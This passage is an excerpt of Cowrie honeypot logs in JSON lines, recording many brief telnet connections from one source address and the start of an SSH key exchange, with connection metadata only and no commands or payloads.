{"eventid":"cowrie.session.closed","duration":32.51485633850098,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:02.213638Z","src_ip":"23.111.140.22","session":"e4819af1c69a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.94062328338623,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:02.836222Z","src_ip":"23.111.140.22","session":"78d00fb50dc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60542,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e6ea8b251a0","protocol":"telnet","message":"New connection: 23.111.140.22:60542 (10.17.0.5:23) [session: 6e6ea8b251a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:02.878999Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59253,"dst_ip":"10.17.0.5","dst_port":23,"session":"bad29e6ae68a","protocol":"telnet","message":"New connection: 23.111.140.22:59253 (10.17.0.5:23) [session: bad29e6ae68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:03.460353Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59836,"dst_ip":"10.17.0.5","dst_port":23,"session":"6272d89143d1","protocol":"telnet","message":"New connection: 23.111.140.22:59836 (10.17.0.5:23) [session: 6272d89143d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:03.650252Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34690,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fc7ee1337f1","protocol":"telnet","message":"New connection: 23.111.140.22:34690 (10.17.0.5:23) [session: 9fc7ee1337f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:03.756482Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33104,"dst_ip":"10.17.0.5","dst_port":23,"session":"d599fca91b6d","protocol":"telnet","message":"New connection: 23.111.140.22:33104 (10.17.0.5:23) [session: d599fca91b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:04.197190Z"}
{"eventid":"cowrie.session.closed","duration":31.203989505767822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:04.784452Z","src_ip":"23.111.140.22","session":"dc3f976be520","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":32964,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f1348bf545c","protocol":"telnet","message":"New connection: 174.138.46.234:32964 (159.203.135.109:23) [session: 4f1348bf545c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:05.061603Z"}
{"eventid":"cowrie.session.closed","duration":30.457768201828003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:05.397510Z","src_ip":"23.111.140.22","session":"57a3af47bf98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59294,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f9915e0b741","protocol":"telnet","message":"New connection: 23.111.140.22:59294 (10.17.0.5:23) [session: 9f9915e0b741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:05.476041Z"}
{"eventid":"cowrie.session.closed","duration":31.684036016464233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:05.954901Z","src_ip":"23.111.140.22","session":"089584e8be63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.010629177093506,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:06.612374Z","src_ip":"23.111.140.22","session":"a1f7e307819a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07945227622986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:06.954993Z","src_ip":"23.111.140.22","session":"8ff4706f7b6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.716333627700806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:07.050249Z","src_ip":"23.111.140.22","session":"89dc729869e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.652685403823853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:07.199301Z","src_ip":"23.111.140.22","session":"2e63eee52fb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.0551643371582,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:07.292363Z","src_ip":"23.111.140.22","session":"d1b89306bbf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.06616139411926,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:07.980543Z","src_ip":"23.111.140.22","session":"0cb1f9a908a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38238,"dst_ip":"10.17.0.5","dst_port":23,"session":"baea99a16098","protocol":"telnet","message":"New connection: 23.111.140.22:38238 (10.17.0.5:23) [session: baea99a16098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:07.992821Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47658,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1bdd18a5466","protocol":"telnet","message":"New connection: 23.111.140.22:47658 (10.17.0.5:23) [session: a1bdd18a5466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:08.246041Z"}
{"eventid":"cowrie.session.closed","duration":30.76957654953003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:08.690889Z","src_ip":"23.111.140.22","session":"eb1a50e3367b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815317153930664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:08.710368Z","src_ip":"23.111.140.22","session":"c3cabd0d31c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73750638961792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:09.058968Z","src_ip":"23.111.140.22","session":"a1752dba00ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.911712408065796,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:09.128431Z","src_ip":"23.111.140.22","session":"f4eb226f8f49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.476634979248047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:09.777496Z","src_ip":"23.111.140.22","session":"12b83aaeaef0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.45857620239258,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:09.784506Z","src_ip":"23.111.140.22","session":"e0d955db1120","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.35693001747131,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:10.217790Z","src_ip":"23.111.140.22","session":"5d9c40de0244","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54878,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeec695c6c22","protocol":"telnet","message":"New connection: 23.111.140.22:54878 (10.17.0.5:23) [session: aeec695c6c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:10.876632Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51646,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fa6f1fd3481","protocol":"telnet","message":"New connection: 23.111.140.22:51646 (10.17.0.5:23) [session: 0fa6f1fd3481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:11.712085Z"}
{"eventid":"cowrie.session.closed","duration":6.7678914070129395,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:11.829296Z","src_ip":"174.138.46.234","session":"4f1348bf545c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7867214679718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:12.236245Z","src_ip":"23.111.140.22","session":"8599e92a6e0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58930,"dst_ip":"10.17.0.5","dst_port":23,"session":"354d2e1fae7c","protocol":"telnet","message":"New connection: 23.111.140.22:58930 (10.17.0.5:23) [session: 354d2e1fae7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:12.363293Z"}
{"eventid":"cowrie.session.closed","duration":36.36919546127319,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:12.732558Z","src_ip":"23.111.140.22","session":"d22277642473","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57254,"dst_ip":"10.17.0.5","dst_port":23,"session":"492765221bc7","protocol":"telnet","message":"New connection: 23.111.140.22:57254 (10.17.0.5:23) [session: 492765221bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:12.771925Z"}
{"eventid":"cowrie.session.closed","duration":33.28750658035278,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:13.154243Z","src_ip":"23.111.140.22","session":"5cd6cc653ba9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11812973022461,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:13.353478Z","src_ip":"23.111.140.22","session":"228781654d58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56708,"dst_ip":"10.17.0.5","dst_port":23,"session":"bba1612fef27","protocol":"telnet","message":"New connection: 23.111.140.22:56708 (10.17.0.5:23) [session: bba1612fef27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:13.570149Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34508,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fee2d4189e4","protocol":"telnet","message":"New connection: 23.111.140.22:34508 (10.17.0.5:23) [session: 3fee2d4189e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:13.680559Z"}
{"eventid":"cowrie.session.closed","duration":32.4071261882782,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:14.122395Z","src_ip":"23.111.140.22","session":"87cd5854a5bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.70346236228943,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:14.653803Z","src_ip":"23.111.140.22","session":"93ad2cc53858","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.489386558532715,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:14.917899Z","src_ip":"23.111.140.22","session":"46d12350c169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.930161476135254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:15.288300Z","src_ip":"23.111.140.22","session":"03f468c17a9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85039472579956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:15.716373Z","src_ip":"23.111.140.22","session":"3c3189952a6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41096,"dst_ip":"10.17.0.5","dst_port":23,"session":"1163903b62e9","protocol":"telnet","message":"New connection: 23.111.140.22:41096 (10.17.0.5:23) [session: 1163903b62e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:15.942214Z"}
{"eventid":"cowrie.session.closed","duration":31.321161031723022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:16.465165Z","src_ip":"23.111.140.22","session":"54b0a2416f98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43438,"dst_ip":"10.17.0.5","dst_port":23,"session":"4caeca6d1136","protocol":"telnet","message":"New connection: 23.111.140.22:43438 (10.17.0.5:23) [session: 4caeca6d1136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:16.766208Z"}
{"eventid":"cowrie.session.closed","duration":31.6803560256958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:17.048390Z","src_ip":"23.111.140.22","session":"af54bc6b7ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46008,"dst_ip":"10.17.0.5","dst_port":23,"session":"aab86afeacd6","protocol":"telnet","message":"New connection: 23.111.140.22:46008 (10.17.0.5:23) [session: aab86afeacd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:17.654360Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46194,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3011834876c","protocol":"telnet","message":"New connection: 23.111.140.22:46194 (10.17.0.5:23) [session: b3011834876c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:17.706170Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46412,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d4079927c25","protocol":"telnet","message":"New connection: 23.111.140.22:46412 (10.17.0.5:23) [session: 7d4079927c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:17.790582Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44424,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d2c4e3fb60b","protocol":"telnet","message":"New connection: 23.111.140.22:44424 (10.17.0.5:23) [session: 0d2c4e3fb60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:18.038131Z"}
{"eventid":"cowrie.session.closed","duration":30.37786364555359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:18.097233Z","src_ip":"23.111.140.22","session":"afa49334407c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39194,"dst_ip":"10.17.0.5","dst_port":23,"session":"6be07c56300e","protocol":"telnet","message":"New connection: 23.111.140.22:39194 (10.17.0.5:23) [session: 6be07c56300e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:18.338715Z"}
{"eventid":"cowrie.session.closed","duration":32.92494010925293,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:18.658091Z","src_ip":"23.111.140.22","session":"7749c658349a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51034,"dst_ip":"10.17.0.5","dst_port":23,"session":"966c6cea155f","protocol":"telnet","message":"New connection: 23.111.140.22:51034 (10.17.0.5:23) [session: 966c6cea155f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:19.382474Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52358,"dst_ip":"10.17.0.5","dst_port":23,"session":"00e6f5fb2d83","protocol":"telnet","message":"New connection: 23.111.140.22:52358 (10.17.0.5:23) [session: 00e6f5fb2d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:19.824624Z"}
{"eventid":"cowrie.session.closed","duration":32.62192749977112,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:20.082193Z","src_ip":"23.111.140.22","session":"f00eb443faa9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53376,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fa5a535d29a","protocol":"telnet","message":"New connection: 23.111.140.22:53376 (10.17.0.5:23) [session: 8fa5a535d29a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:20.120051Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53446,"dst_ip":"10.17.0.5","dst_port":23,"session":"dba4d86db767","protocol":"telnet","message":"New connection: 23.111.140.22:53446 (10.17.0.5:23) [session: dba4d86db767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:20.154280Z"}
{"eventid":"cowrie.session.closed","duration":33.29222226142883,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:21.050178Z","src_ip":"23.111.140.22","session":"11dff9048600","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.448480367660522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:21.158522Z","src_ip":"23.111.140.22","session":"74a42ef688c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.528706550598145,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:21.604027Z","src_ip":"23.111.140.22","session":"4286bd2e4948","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.395270586013794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:21.660687Z","src_ip":"23.111.140.22","session":"5257bb8c5de4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56668,"dst_ip":"10.17.0.5","dst_port":23,"session":"984c2270aa53","protocol":"telnet","message":"New connection: 23.111.140.22:56668 (10.17.0.5:23) [session: 984c2270aa53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:22.274517Z"}
{"eventid":"cowrie.session.closed","duration":30.834510803222656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:22.319180Z","src_ip":"23.111.140.22","session":"faae85bbe9d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59988,"dst_ip":"10.17.0.5","dst_port":23,"session":"18db76d0ae99","protocol":"telnet","message":"New connection: 23.111.140.22:59988 (10.17.0.5:23) [session: 18db76d0ae99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:22.497007Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38188,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ba134ba1c7f","protocol":"telnet","message":"New connection: 174.138.46.234:38188 (159.203.135.109:23) [session: 0ba134ba1c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:22.791894Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58404,"dst_ip":"10.17.0.5","dst_port":23,"session":"61c5334c303a","protocol":"telnet","message":"New connection: 23.111.140.22:58404 (10.17.0.5:23) [session: 61c5334c303a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:22.914241Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37410,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb1b6a7b22d3","protocol":"telnet","message":"New connection: 174.138.46.234:37410 (159.203.135.109:23) [session: fb1b6a7b22d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:23.204481Z"}
{"eventid":"cowrie.session.closed","duration":31.851722240447998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:23.918238Z","src_ip":"23.111.140.22","session":"b2f427113c23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35304,"dst_ip":"10.17.0.5","dst_port":23,"session":"36e946ae4ff6","protocol":"telnet","message":"New connection: 23.111.140.22:35304 (10.17.0.5:23) [session: 36e946ae4ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:24.778486Z"}
{"eventid":"cowrie.session.closed","duration":32.29849553108215,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:24.793172Z","src_ip":"23.111.140.22","session":"66392a8685bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38230,"dst_ip":"10.17.0.5","dst_port":23,"session":"19aef55e4e9d","protocol":"telnet","message":"New connection: 23.111.140.22:38230 (10.17.0.5:23) [session: 19aef55e4e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:24.799467Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38264,"dst_ip":"10.17.0.5","dst_port":23,"session":"458dfa862da0","protocol":"telnet","message":"New connection: 23.111.140.22:38264 (10.17.0.5:23) [session: 458dfa862da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:24.819625Z"}
{"eventid":"cowrie.session.closed","duration":31.91773509979248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:24.984539Z","src_ip":"23.111.140.22","session":"43fb9e876dda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.01567244529724,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:25.271026Z","src_ip":"23.111.140.22","session":"6a24830f06f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.43455195426941,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:25.431271Z","src_ip":"23.111.140.22","session":"480b405132ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":52358,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e7346cfa6a5","protocol":"ssh","message":"New connection: 2.57.121.25:52358 (10.17.0.5:22) [session: 9e7346cfa6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:25.595521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:25.600130Z","src_ip":"2.57.121.25","session":"9e7346cfa6a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160",